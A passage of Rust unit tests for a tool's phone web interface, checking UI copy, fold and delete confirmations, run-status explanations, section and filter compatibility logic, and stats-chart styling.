21653        // A deleted task sends the operator back to the queue.
21654        assert!(APP_JS.contains("location.hash = \"#/queue\""));
21655        // A refusal is shown inside the sheet.
21656        assert!(APP_JS.contains("$(\"task-actions-error\")"));
21657    }
21658
21659    #[test]
21660    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21661        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21662        let actions = INDEX_HTML
21663            .find("id=\"run-actions-box\"")
21664            .expect("actions box");
21665        assert!(task < actions, "the task entry comes first in the sheet");
21666        assert!(APP_JS.contains("renderRunTaskEntry"));
21667        assert!(APP_JS.contains("\"Open task \""));
21668        // A run without a task says why there is nothing to open.
21669        assert!(APP_JS.contains("started directly, no task"));
21670        assert!(APP_JS.contains("sheet-task-link"));
21671        assert!(APP_JS.contains("task-chip-link"));
21672    }
21673
21674    #[test]
21675    fn the_deck_never_sends_the_operator_to_a_terminal() {
21676        // The whole point of the phone UI is that a terminal is not needed.
21677        // The delete control used to answer with "Run `magi fold` first."
21678        assert!(
21679            !APP_JS.contains("Run `magi fold` first"),
21680            "the deck must offer the fold, not prescribe a shell command"
21681        );
21682        assert!(APP_JS.contains("foldRun:"));
21683        assert!(APP_JS.contains("resumeRun:"));
21684        assert!(APP_JS.contains("renderRunActions"));
21685
21686        // Folding is destructive and armed in two steps, like deleting.
21687        assert!(APP_JS.contains("armedFold"));
21688        assert!(APP_JS.contains("Yes, fold worktrees"));
21689
21690        // And the copy has to say that the two actions are opposites, because
21691        // folding throws away exactly what a resume would continue from.
21692        assert!(APP_JS.contains("can no longer be resumed"));
21693    }
21694
21695    #[test]
21696    fn a_finished_run_explains_itself_with_its_own_last_line() {
21697        // The deck used to answer "why did this stop?" with a sentence chosen
21698        // by status alone. Run e633 stalled because two judges answered with
21699        // the wrong JSON shape and its card said "The panel collapsed on
21700        // agent quota" - with `quota: []` in the record and a quota-loss
21701        // counter right above it that correctly said nothing.
21702        assert!(
21703            !APP_JS.contains("collapsed on agent quota"),
21704            "a stall must not be explained by a cause the deck did not check"
21705        );
21706        assert!(
21707            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21708            "and a block must not offer a guess with an `or` in it"
21709        );
21710
21711        // The reason it does have is `run.event`, which must reach finished
21712        // runs: gating it on movement hid the recorded truth at the one moment
21713        // the operator is reading the card to find out what happened.
21714        assert!(
21715            APP_JS.contains("setText(r.event, run.event || \"\")"),
21716            "the run's last line is rendered unconditionally"
21717        );
21718        assert!(
21719            !APP_JS.contains("moving && run.event"),
21720            "and never gated on the run still moving"
21721        );
21722
21723        // Quota keeps its own counter, fed by the number actually recorded.
21724        assert!(APP_JS.contains("lost to quota"));
21725    }
21726
21727    /// The runs tree (section) and the state chips (waiting/done) are two
21728    /// independent lenses ANDed together in `renderRuns`, and some pairings
21729    /// can never both be true for any run - every "Landed"/"Ended" run is
21730    /// done by construction, so pairing either with "Active" or "In flight"
21731    /// always rendered zero cards with the filter bar still claiming
21732    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
21733    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
21734    /// a handful of (waiting, status) shapes standing in for the run
21735    /// lifecycle, because `cargo test` cannot execute the front end.
21736    ///
21737    /// That stand-in list is itself the part that drifted twice in review:
21738    /// once shipped with `waiting: true` paired with a done status the
21739    /// lifecycle cannot produce, then over-corrected into treating every
21740    /// waiting run as never done - which made "Waiting on you" look
21741    /// incompatible with "Done" even for the one real, reachable shape
21742    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
21743    /// that combination. This test parses the shapes and the done-rule back
21744    /// out of `APP_JS`, reimplements `runSection` and the five state
21745    /// predicates independently in Rust, and checks the resulting
21746    /// section/filter compatibility table against the lifecycle rules by
21747    /// hand - so either direction of drift fails it again.
21748    #[test]
21749    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21750        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21751        let shapes_body_start =
21752            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21753        let shapes_close = APP_JS[shapes_body_start..]
21754            .find("].map(")
21755            .expect("the shape list is closed by its done-computing .map(...)")
21756            + shapes_body_start;
21757        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21758
21759        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21760        for entry in shapes_src.split('{').skip(1) {
21761            let waiting = entry.contains("waiting: true");
21762            let dead = entry.contains("live: \"dead\"");
21763            let status_at =
21764                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21765            let status_end = entry[status_at..]
21766                .find('"')
21767                .expect("the status string is closed")
21768                + status_at;
21769            let parked = entry.contains("display_status: \"parked\"");
21770            shapes.push((
21771                waiting,
21772                entry[status_at..status_end].to_string(),
21773                dead,
21774                parked,
21775            ));
21776        }
21777        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21778
21779        // The done rule itself (`!["implementing"].includes(shape.status)`),
21780        // read out of the source rather than hardcoded, so a renamed
21781        // in-flight status can't silently make every parsed shape "done".
21782        let done_rule_marker = "done: !";
21783        let done_rule_at = APP_JS[shapes_close..]
21784            .find(done_rule_marker)
21785            .expect("the done rule follows the shape list")
21786            + shapes_close
21787            + done_rule_marker.len();
21788        let includes_at = APP_JS[done_rule_at..]
21789            .find(".includes(shape.status)")
21790            .expect("the done rule ends in .includes(shape.status)")
21791            + done_rule_at;
21792        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21793            .trim()
21794            .trim_start_matches('[')
21795            .trim_end_matches(']')
21796            .split(',')
21797            .map(|s| s.trim().trim_matches('"'))
21798            .filter(|s| !s.is_empty())
21799            .collect();
21800
21801        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21802            .into_iter()
21803            .map(|(waiting, status, dead, parked)| {
21804                let done = !not_done.contains(&status.as_str());
21805                (waiting, status, dead, parked, done)
21806            })
21807            .collect();
21808
21809        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
21810        // outright, then merged/ready land, stalled/blocked/failed/
21811        // verified_noop end, and everything else is still in flight.
21812        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21813            if waiting {
21814                return "waiting";
21815            }
21816            if dead
21817                && !parked
21818                && !matches!(
21819                    status,
21820                    "merged"
21821                        | "ready"
21822                        | "stalled"
21823                        | "blocked"
21824                        | "failed"
21825                        | "verified_noop"
21826                        | "superseded"
21827                        | "already_in_base"
21828                )
21829            {
21830                return "stale";
21831            }
21832            match status {
21833                "merged" | "ready" => "landed",
21834                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21835                | "already_in_base" => "ended",
21836                _ => "flight",
21837            }
21838        }
21839
21840        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
21841        // way.
21842        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21843            match filter_key {
21844                "active" => !done,
21845                "flight" => !done && !waiting && !dead,
21846                "stale" => !done && !waiting && dead,
21847                "waiting" => waiting,
21848                "done" => done,
21849                "all" => true,
21850                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21851            }
21852        }
21853
21854        let compatible = |section: &str, filter_key: &str| {
21855            shapes.iter().any(|(waiting, status, dead, parked, done)| {
21856                run_section(*waiting, status, *dead, *parked) == section
21857                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21858            })
21859        };
21860
21861        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
21862        // (active, flight, stale, waiting, done, all) - hand-derived from the
21863        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
21864        // currently contains.
21865        let expected = [
21866            ("waiting", [true, false, false, true, true, true]),
21867            ("stale", [true, false, true, false, false, true]),
21868            ("flight", [true, true, false, false, false, true]),
21869            ("landed", [false, false, false, false, true, true]),
21870            ("ended", [false, false, false, false, true, true]),
21871        ];
21872        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21873
21874        for (section, wants) in expected {
21875            for (filter_key, want) in filter_keys.iter().zip(wants) {
21876                assert_eq!(
21877                    compatible(section, filter_key),
21878                    want,
21879                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21880                );
21881            }
21882        }
21883
21884        // The compatibility check exists only to be acted on: both pickers
21885        // must actually consult it rather than just render its answer.
21886        assert!(
21887            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21888        );
21889        assert!(APP_JS.contains(
21890            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21891        ));
21892        assert!(APP_JS.contains(
21893            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21894        ));
21895    }
21896
21897    #[tokio::test]
21898    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21899        // An operator-named directory - git checkout or not - is never
21900        // second-guessed, even when it does not exist at all: only the
21901        // flag's own unmodified `.` default is ever eligible for discovery.
21902        let dir = tempfile::tempdir().expect("tempdir");
21903        let explicit = dir.path().join("not-a-checkout");
21904        std::fs::create_dir_all(&explicit).expect("create dir");
21905        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21906
21907        let missing = dir.path().join("does-not-exist-at-all");
21908        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21909    }
21910
21911    #[test]
21912    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21913        assert!(APP_JS.contains("function statsDonutArcs"));
21914        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21915        // A bucket click filters by the statuses src/stats.rs counts in it.
21916        assert!(APP_JS.contains("function statusInBucket"));
21917        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21918        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21919        let buckets = [
21920            "merged",
21921            "ready",
21922            "in_progress",
21923            "blocked",
21924            "failed",
21925            "verified_noop",
21926            "superseded",
21927            "stalled",
21928        ];
21929        for key in buckets {
21930            let var = format!("--verdict-{key}:");
21931            // Light, OS-dark and pinned-dark blocks each define it.
21932            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21933            assert!(
21934                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21935                "{key}"
21936            );
21937        }
21938    }
21939}